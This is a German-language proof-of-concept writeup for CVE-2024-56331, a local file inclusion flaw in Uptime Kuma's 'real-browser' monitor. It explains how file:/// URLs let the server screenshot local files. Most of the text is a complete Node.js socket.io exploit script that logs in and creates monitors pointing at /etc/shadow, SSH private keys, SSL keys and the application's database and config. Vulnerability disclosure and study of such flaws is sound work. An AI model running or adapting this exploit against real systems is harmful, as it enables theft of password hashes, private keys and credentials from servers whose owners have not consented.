
Proof-of-concept-Exploit für CVE-2024-56331, der eine Local File Inclusion in Uptime Kuma durch fehlerhafte URL-Verarbeitung im real-browser Monitor demonstriert. Nutzt das file:/// Protokoll, um Screenshots von sensiblen Serverdateien zu erstellen.
Real-Browser-MonitorEine Unsachgemäße URL-Behandlungs-Schwachstelle ermöglicht einem Angreifer den Zugriff auf sensible lokale Dateien auf dem Server, indem er das file:///-Protokoll ausnutzt. Diese Schwachstelle wird über den "real-browser"-Anfragetyp ausgelöst, der einen Screenshot der vom Angreifer bereitgestellten URL erstellt. Durch die Angabe lokaler Dateipfade wie file:///etc/passwd kann ein Angreifer sensible Daten vom Server auslesen.
Die Schwachstelle entsteht, weil das System die Benutzereingabe für das URL-Feld nicht ordnungsgemäß validiert oder bereinigt. Insbesondere:
Die URL-Eingabe (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) erlaubt Benutzern die Eingabe beliebiger Dateipfade, einschließlich solcher, die das file:///-Protokoll verwenden, ohne serverseitige Validierung.
Der Server verwendet dann die vom Benutzer bereitgestellte URL, um eine Anfrage zu stellen, und übergibt sie an eine Browserinstanz, die die "real-browser"-Anfrage durchführt, welche einen Screenshot des Inhalts unter der angegebenen URL erstellt. Wenn ein lokaler Dateipfad eingegeben wird (z. B. file:///etc/passwd), ruft der Browser die Datei ab und erfasst deren Inhalt.
const browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();
const res = await page.goto(monitor.url, {
waitUntil: "networkidle",
timeout: monitor.interval * 1000 * 0.8,
});
let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";
await page.screenshot({
path: path.join(Database.screenshotDir, filename),
});
await context.close();
Da die Benutzereingabe nicht validiert wird, kann ein Angreifer die URL manipulieren, um lokale Dateien anzufragen (z. B. file:///etc/passwd), und das System wird einen Screenshot des Dateiinhalts erstellen, wodurch möglicherweise sensible Daten offengelegt werden.
view-source:file:///etc/passwd.Beispiel PoC:
const { io } = require("socket.io-client");
// Server configuration and credentials
const CONFIG = {
serverUrl: "ws://localhost:3001",
credentials: {
username: "admin",
password: "password1"
},
requestType: {
REAL_BROWSER: "real-browser",
HTTP: "http"
},
urlHeader: {
VIEW_SOURCE: "view-source:file:///",
FILE: "file:///"
}
};
// List of sensitive files on a Linux system
const SENSITIVE_FILES = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/hostname",
"/etc/network/interfaces", // May vary depending on the distribution
"/etc/ssh/ssh_config",
"/etc/ssh/sshd_config",
"~/.ssh/authorized_keys",
"~/.ssh/id_rsa",
"/etc/ssl/private/*.key",
"/etc/ssl/certs/*.crt",
"/app/data/kuma.db", // Uptime Kuma database file
"/app/data/config.json" // Uptime Kuma configuration file
];
// Function to send a request and wait for the response
function sendRequest(socket, filePath, type) {
return new Promise((resolve, reject) => {
fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
if (type == CONFIG.requestType.HTTP) {
fileUrl = CONFIG.urlHeader.FILE + filePath;
}
socket.emit("add", {
type: type,
name: type + " " + filePath,
url: fileUrl,
method: "GET",
maxretries: 0,
timeout: 500,
notificationIDList: {},
ignoreTls: true,
upsideDown: false,
accepted_statuscodes: ["200-299"]
}, (res) => {
console.log(`Response for file ${filePath}:`, res);
resolve();
});
});
}
// Main function for connecting and sending the 'add' request
(async () => {
const socket = io(CONFIG.serverUrl);
// Handle connection errors
socket.on("connect_error", (err) => {
console.error("Connection failed:", err.message);
});
try {
// Connecting with credentials
await new Promise((resolve, reject) => {
socket.emit("login", {
username: CONFIG.credentials.username,
password: CONFIG.credentials.password,
token: ""
}, (res) => {
if (res.ok) {
console.log("Connection successful");
resolve();
} else {
console.log(res);
reject(new Error("Connection failed"));
}
});
});
// Sending requests for each file using Promise.all to ensure synchronization
const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));
// Wait for all requests to be sent
await Promise.all([...realBrowserRequests]);
// Close the socket after all requests have been sent
socket.close();
console.log("Connection closed after all requests.");
} catch (error) {
console.error("Error:", error.message);
socket.close();
}
})();
Diese Schwachstelle ist ein Local File Inclusion (LFI)-Problem, das es einem Angreifer ermöglicht, auf sensible Dateien auf dem Server zuzugreifen und diese möglicherweise zu exfiltrieren. Die Auswirkungen sind erheblich, da Angreifer auf kritische Systemdateien oder Anwendungskonfigurationsdateien zugreifen können, wie z. B.:
/etc/passwd: Enthält Benutzerkontoinformationen./etc/shadow: Enthält Passwort-Hashes./app/data/kuma.db: Enthält die Datenbank des Uptime Kuma-Überwachungstools./app/data/config.json: Enthält die Datenbank-Anmeldeinformationen für Uptime Kuma.Jeder authentifizierte Benutzer, der eine URL im "real-browser"-Modus übermitteln kann, läuft Gefahr, durch Screenshots dieser Dateien sensible Daten preiszugeben.